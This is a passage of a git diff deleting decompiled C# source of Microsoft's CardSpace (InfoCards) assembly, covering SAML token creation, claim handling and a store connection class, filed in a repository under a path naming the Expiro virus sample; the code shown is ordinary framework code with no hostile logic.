cryptoServiceProvider?.Dispose(); - symmetricProof?.Dispose(); - } - return tokenDescriptor; - } - - private void ThrowIfProofKeyOperationsNotSupported( - InfoCardPolicy policy, - SecurityKey proofCryptoInsideSamlToken) - { - if (!string.IsNullOrEmpty(policy.OptionalRstParams.SignWith) && !proofCryptoInsideSamlToken.IsSupportedAlgorithm(policy.OptionalRstParams.SignWith)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedSignWithAlgorithm", (object) policy.OptionalRstParams.SignWith))); - if (!proofCryptoInsideSamlToken.IsSupportedAlgorithm(this.m_encryptWithAlgorithm)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedEncryptWithAlgorithm", (object) this.m_encryptWithAlgorithm))); - } - - private SamlSecurityToken CreateSamlToken( - List claims, - SecurityKeyIdentifier issuerKeyIdentifier, - SecurityKeyIdentifier proofKeyIdentifier, - SecurityKey proofCryptoInsideSamlToken, - SecurityKey issuerSigningKey, - Uri immediateTokenRecipientUri) - { - DateTime utcNow = DateTime.UtcNow; - SamlAudienceRestrictionCondition restrictionCondition = new SamlAudienceRestrictionCondition((IEnumerable) new Collection() - { - immediateTokenRecipientUri - }); - SamlConditions samlConditions = new SamlConditions(utcNow, utcNow.Add(SelfIssuedSamlTokenFactory.TokenLifetime), (IEnumerable) new Collection() - { - (SamlCondition) restrictionCondition - }); - SamlSubject samlSubject = new SamlSubject((string) null, (string) null, (string) null, (IEnumerable) new string[1] - { - proofKeyIdentifier != null ? SamlConstants.HolderOfKey : "urn:oasis:names:tc:SAML:1.0:cm:bearer" - }, (string) null, proofKeyIdentifier); - if (proofCryptoInsideSamlToken != null) - samlSubject.Crypto = proofCryptoInsideSamlToken; - List attributes = new List(claims.Count); - char[] chArray = new char[1]{ '/' }; - for (int index = 0; index < claims.Count; ++index) - { - string[] strArray = claims[index].Id.Split(chArray); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == strArray.Length, "claimUri"); - string attributeName = strArray[strArray.Length - 1]; - if (claims[index].Id == InfoCardConstants.Gender) - InfoCardTrace.Assert(claims[index].Value == "0" || claims[index].Value == "1" || claims[index].Value == "2", "Wrong value type for gender claim, only values '0' (Unspecified), '1' (Male) and '2' (Female) are allowed "); - if (claims[index].Id == InfoCardConstants.DateOfBirth) - { - DateTime universalTime = DateTime.Parse(claims[index].Value, (IFormatProvider) CultureInfo.InvariantCulture).ToUniversalTime(); - InfoCardTrace.Assert(true, "Invalid value for date of birth "); - attributes.Add(new SamlAttribute("http://schemas.xmlsoap.org/ws/2005/05/identity/claims", attributeName, (IEnumerable) new string[1] - { - XmlConvert.ToString(universalTime, XmlDateTimeSerializationMode.Utc) - })); - } - else - attributes.Add(new SamlAttribute("http://schemas.xmlsoap.org/ws/2005/05/identity/claims", attributeName, (IEnumerable) new string[1] - { - claims[index].ToString() - })); - } - SamlAttributeStatement attributeStatement = new SamlAttributeStatement(samlSubject, (IEnumerable) attributes); - SamlAssertion assertion = new SamlAssertion("SamlSecurityToken-" + Guid.NewGuid().ToString(), "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self", utcNow, samlConditions, (SamlAdvice) null, (IEnumerable) new List(1) - { - (SamlStatement) attributeStatement - }); - if (!issuerSigningKey.IsSupportedAlgorithm(this.m_signatureAlgorithm)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedSignatureAlgorithm", (object) this.m_signatureAlgorithm))); - assertion.SigningCredentials = new SigningCredentials(issuerSigningKey, this.m_signatureAlgorithm, "http://www.w3.org/2000/09/xmldsig#sha1", issuerKeyIdentifier); - return new SamlSecurityToken(assertion); - } - - private DisplayToken CreateDisplayToken(List claims) - { - List claimList = new List(); - for (int index = 0; index < claims.Count; ++index) - { - DisplayClaim displayClaim = new DisplayClaim(InfoCardConstants.ClaimDisplayTag(claims[index].Id.ToString()), new List() - { - claims[index].Value - }, InfoCardConstants.ClaimsDescription(claims[index].Id.ToString()), claims[index].Id.ToString()); - claimList.Add(displayClaim); - } - return new DisplayToken(claimList); - } - - private List GetClaimSet( - InfoCard card, - InfoCardPolicy policy, - bool discloseOptional) - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - List intersectedClaims = (List) null; - if (policy.RequiredClaims != null) - { - intersectedClaims = new List(policy.RequiredClaims.Length); - this.AddClaimsThatIntersect(policy.RequiredClaims, false, card.GetClaims(), policy.ImmediateTokenRecipient.GetOrganizationPPIDIdentifier(), card.Id, intersectedClaims); - } - if (discloseOptional && policy.OptionalClaims != null) - { - if (intersectedClaims == null) - intersectedClaims = new List(policy.OptionalClaims.Length); - this.AddClaimsThatIntersect(policy.OptionalClaims, true, card.GetClaims(), policy.ImmediateTokenRecipient.GetOrganizationPPIDIdentifier(), card.Id, intersectedClaims); - } - return intersectedClaims; - } - finally - { - connection.Close(); - } - } - - private void AddClaimsThatIntersect( - string[] policyClaims, - bool processingOptionalClaims, - InfoCardClaimCollection claims, - string recipientidentifier, - Uri cardId, - List intersectedClaims) - { - foreach (string policyClaim in policyClaims) - { - if (policyClaim == InfoCardConstants.PPIDClaimsUri) - { - string ppid = Utility.CreatePpid(Convert.FromBase64String(recipientidentifier), cardId); - intersectedClaims.Add(new InfoCardClaim(InfoCardConstants.PPIDClaimsUri, ppid)); - } - else if (!processingOptionalClaims) - { - InfoCardTrace.ThrowInvalidArgumentConditional(!claims.ContainsKey(policyClaim) || claims[policyClaim] == null || string.IsNullOrEmpty(claims[policyClaim].Value), "policyClaimUri"); - intersectedClaims.Add(claims[policyClaim]); - } - else - { - InfoCardClaim infoCardClaim = (InfoCardClaim) null; - if (claims.ContainsKey(policyClaim)) - infoCardClaim = claims[policyClaim]; - if (infoCardClaim != null && !string.IsNullOrEmpty(infoCardClaim.Value)) - intersectedClaims.Add(infoCardClaim); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs deleted file mode 100644 index 6db3fc4e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedTokenFactoryCredential : TokenFactoryCredential - { - private InfoCard m_localCard; - - public SelfIssuedTokenFactoryCredential() - : base(TokenFactoryCredentialType.SelfIssuedCredential) - { - } - - public InfoCard LocalCard => this.m_localCard; - - protected override void DeserializeData(BinaryReader reader) => this.m_localCard = new InfoCard(reader.BaseStream); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SendAgentStatusRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SendAgentStatusRequest.cs deleted file mode 100644 index 563527de..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SendAgentStatusRequest.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SendAgentStatusRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class SendAgentStatusRequest : UIAgentRequest - { - private SendAgentStatusRequest.AgentStatusType m_agentStatus; - private bool m_retVal; - private uint m_ATApplicationsFlags; - - public SendAgentStatusRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parentRequest) - : base(rpcHandle, inArgs, outArgs, parentRequest) - { - } - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(this.InArgs.Length > 0L, "The agent status must be specified"); - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_agentStatus = (SendAgentStatusRequest.AgentStatusType) binaryReader.ReadUInt32(); - this.m_ATApplicationsFlags = binaryReader.ReadUInt32(); - } - - protected override void OnProcess() - { - this.m_retVal = false; - switch (this.m_agentStatus) - { - case SendAgentStatusRequest.AgentStatusType.AGENT_DESKTOP_CREATED: - case SendAgentStatusRequest.AgentStatusType.AGENT_DESKTOP_SWITCH_IN: - this.ParentRequest.StartAccessibilityApplications(this.m_ATApplicationsFlags); - break; - case SendAgentStatusRequest.AgentStatusType.AGENT_DESKTOP_SWITCH_OUT: - this.m_retVal = this.ParentRequest.RestartAccessibilityApplications(); - break; - } - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs, Encoding.Unicode).Write(this.m_retVal); - - public enum AgentStatusType - { - AGENT_INITIALIZING, - AGENT_DESKTOP_CREATED, - AGENT_DESKTOP_SWITCH_OUT, - AGENT_DESKTOP_SWITCH_IN, - AGENT_SHUTTING_DOWN, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SerializationIncompleteException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SerializationIncompleteException.cs deleted file mode 100644 index 093680e8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SerializationIncompleteException.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SerializationIncompleteException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal class SerializationIncompleteException : Exception - { - private Type m_type; - - public SerializationIncompleteException(Type type) => this.m_type = type; - - public Type ObjectType => this.m_type; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ServiceBusyException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ServiceBusyException.cs deleted file mode 100644 index 4771aa27..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ServiceBusyException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ServiceBusyException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ServiceBusyException : InfoCardBaseException - { - private const int HRESULT = -1073413875; - - public ServiceBusyException() - : base(-1073413875) - { - } - - public ServiceBusyException(string message) - : base(-1073413875, message) - { - } - - public ServiceBusyException(string message, Exception inner) - : base(-1073413875, message, inner) - { - } - - protected ServiceBusyException(SerializationInfo si, StreamingContext sc) - : base(-1073413875, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SetUserLanguageRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SetUserLanguageRequest.cs deleted file mode 100644 index a1e467aa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SetUserLanguageRequest.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SetUserLanguageRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class SetUserLanguageRequest : UIAgentRequest - { - private int m_lcid; - - public SetUserLanguageRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_lcid = (int) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadUInt32(); - - protected override void OnProcess() => this.ParentRequest.UserLanguage = this.m_lcid; - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SetUserPreferenceRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SetUserPreferenceRequest.cs deleted file mode 100644 index 3ad51253..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SetUserPreferenceRequest.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SetUserPreferenceRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SetUserPreferenceRequest : UIAgentRequest - { - private UserPreference m_userPreferences; - - public SetUserPreferenceRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(this.InArgs.Length > 0L, "The user preferences must be specified"); - this.m_userPreferences = new UserPreference(this.InArgs); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert(null != this.m_userPreferences, "OnMarshalInArgs must be called prior to calling OnProcess"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - this.m_userPreferences.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SignHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SignHashRequest.cs deleted file mode 100644 index 2dc9a45e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SignHashRequest.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SignHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class SignHashRequest : ClientRequest - { - private int m_sessionId; - private byte[] m_hash; - private string m_hashAlgOid; - private byte[] m_sig; - - public SignHashRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_sig = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_sessionId = reader.ReadInt32(); - int count = reader.ReadInt32(); - this.m_hash = reader.ReadBytes(count); - this.m_hashAlgOid = Utility.DeserializeString(reader); - } - - protected override void OnProcess() => this.m_sig = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_sessionId, this.CallerPid, this.RequestorIdentity.User)).SignHash(this.m_hash, this.m_hashAlgOid); - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.m_sig.Length); - binaryWriter.Write(this.m_sig); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SignatureHeader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SignatureHeader.cs deleted file mode 100644 index 7dc42424..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SignatureHeader.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SignatureHeader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal struct SignatureHeader - { - public const int IVSize = 16; - public const int SignatureOffset = 4; - public const int IVOffset = 20; - public int SignatureSize; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] - public byte Signature; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/StorableObjectType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/StorableObjectType.cs deleted file mode 100644 index ec7e4bf0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/StorableObjectType.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.StorableObjectType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal enum StorableObjectType - { - Recipient = -3, // 0xFFFFFFFD - UserPreferences = -2, // 0xFFFFFFFE - LedgerEntry = -1, // 0xFFFFFFFF - Unknown = 0, - InfoCard = 1, - InfoCardClaims = 2, - InfoCardMasterkey = 3, - InfocardExtendedInformation = 4, - RPIdentityRequirement = 5, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/StoreConnection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/StoreConnection.cs deleted file mode 100644 index 0088317a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/StoreConnection.cs +++ /dev/null @@ -1,341 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.StoreConnection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class StoreConnection : IDisposable - { - public const string DEFAULTFILENAME = "CardSpace.db"; - public const string STOREFILENAMEV2 = "CardSpaceSP2.db"; - public const string STORAGEPATH = "Microsoft\\CardSpace\\"; - private static Hashtable s_instanceCache = CollectionsUtil.CreateCaseInsensitiveHashtable(); - private string m_path; - private int m_refCount; - private Hashtable m_sources; - private string m_instanceId; - private string m_activeSource; - private string m_localSource; - private bool m_isLoaded; - private WindowsIdentity m_identity; - private bool m_disposed; - private object m_sync; - - protected StoreConnection(WindowsIdentity identity) - { - this.m_identity = new WindowsIdentity(identity.Token); - this.m_instanceId = this.m_identity.User.Value; - this.m_sync = new object(); - this.m_disposed = false; - this.m_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\CardSpace\\"); - this.m_localSource = this.m_path + "CardSpaceSP2.db"; - this.m_activeSource = this.m_localSource; - this.m_sources = CollectionsUtil.CreateCaseInsensitiveHashtable(); - } - - public Hashtable DataSources => this.m_sources; - - public string ActiveDataSource => this.m_activeSource; - - public string LocalDataSource => this.m_localSource; - - public string InstanceId => this.m_instanceId; - - public WindowsIdentity Identity => this.m_identity; - - protected int ReferenceCount - { - get => this.m_refCount; - set => this.m_refCount = value; - } - - public static StoreConnection CreateConnection() - { - WindowsIdentity current = WindowsIdentity.GetCurrent(); - InfoCardTrace.Assert(!current.IsSystem, "Identity should not be LSA"); - return StoreConnection.GetConnection(current, true); - } - - public static StoreConnection GetConnection() - { - WindowsIdentity current = WindowsIdentity.GetCurrent(); - InfoCardTrace.Assert(!current.IsSystem, "Identity should not be LSA"); - return StoreConnection.GetConnection(current); - } - - public static StoreConnection GetConnection(WindowsIdentity identity) => StoreConnection.GetConnection(identity, false); - - private static StoreConnection GetConnection( - WindowsIdentity identity, - bool allowCreate) - { - StoreConnection connection = (StoreConnection) null; - lock (StoreConnection.s_instanceCache.SyncRoot) - { - connection = (StoreConnection) StoreConnection.s_instanceCache[(object) identity.User.Value]; - if (connection == null) - { - if (!allowCreate) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreFailedToOpenStore"))); - connection = new StoreConnection(identity); - connection.Load(); - StoreConnection.s_instanceCache[(object) identity.User.Value] = (object) connection; - } - else if (!connection.m_isLoaded) - connection.Load(); - ++connection.ReferenceCount; - } - return connection; - } - - public void SetActiveDataSource(string id) - { - this.ThrowIfNotLoaded(); - if (!this.m_sources.ContainsKey((object) id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreSourceIdOutOfRange"))); - this.m_activeSource = !((DataSource) this.m_sources[(object) this.m_activeSource]).IsProcessingTransaction() ? id : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreProcessingTransaction"))); - } - - public void Close() - { - this.ThrowIfNotLoaded(); - lock (StoreConnection.s_instanceCache.SyncRoot) - { - --this.ReferenceCount; - if (this.ReferenceCount != 0) - return; - StoreConnection.s_instanceCache.Remove((object) this.m_identity.User.Value); - this.m_isLoaded = false; - foreach (string key in (IEnumerable) this.m_sources.Keys) - ((DataSource) this.m_sources[(object) key]).Close(); - this.m_sources.Clear(); - } - } - - void IDisposable.Dispose() - { - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - if (this.m_identity == null) - return; - this.m_identity.Dispose(); - this.m_identity = (WindowsIdentity) null; - } - } - - public bool IsDataSourceCleared(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - return ((DataSource) this.m_sources[(object) sourceId]).IsCleared; - } - - public void ResetDataSourceClearedFlag(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).IsCleared = false; - } - - public DataRow GetSingleRow(QueryDetails details, params QueryParameter[] objectQuery) => this.GetSingleRow(details, this.m_activeSource, objectQuery); - - public DataRow GetSingleRow(params QueryParameter[] objectQuery) => this.GetSingleRow(this.m_activeSource, objectQuery); - - public DataRow GetSingleRow(string sourceId, params QueryParameter[] objectQuery) => this.GetSingleRow(QueryDetails.FullRow, sourceId, objectQuery); - - public DataRow GetSingleRow( - QueryDetails details, - string sourceId, - params QueryParameter[] objectQuery) - { - this.ThrowIfNotLoaded(); - if (objectQuery == null || objectQuery.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (objectQuery)); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - return ((DataSource) this.m_sources[(object) sourceId]).GetSingleRow(details, objectQuery); - } - - public ICollection Query( - QueryDetails details, - params QueryParameter[] query) - { - return this.Query(details, this.m_activeSource, query); - } - - public ICollection Query(params QueryParameter[] query) => this.Query(this.m_activeSource, query); - - public ICollection Query( - string sourceId, - params QueryParameter[] query) - { - return this.Query(QueryDetails.FullRow, sourceId, query); - } - - public ICollection Query( - QueryDetails details, - string sourceId, - params QueryParameter[] query) - { - this.ThrowIfNotLoaded(); - if (query == null || query.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (query)); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - return (ICollection) ((DataSource) this.m_sources[(object) sourceId]).Query(details, query); - } - - public void Save(string sourceId, DataRow row) - { - this.ThrowIfNotLoaded(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).Save(row); - } - - public void Save(DataRow row) - { - this.ThrowIfNotLoaded(); - if (row == null) - throw 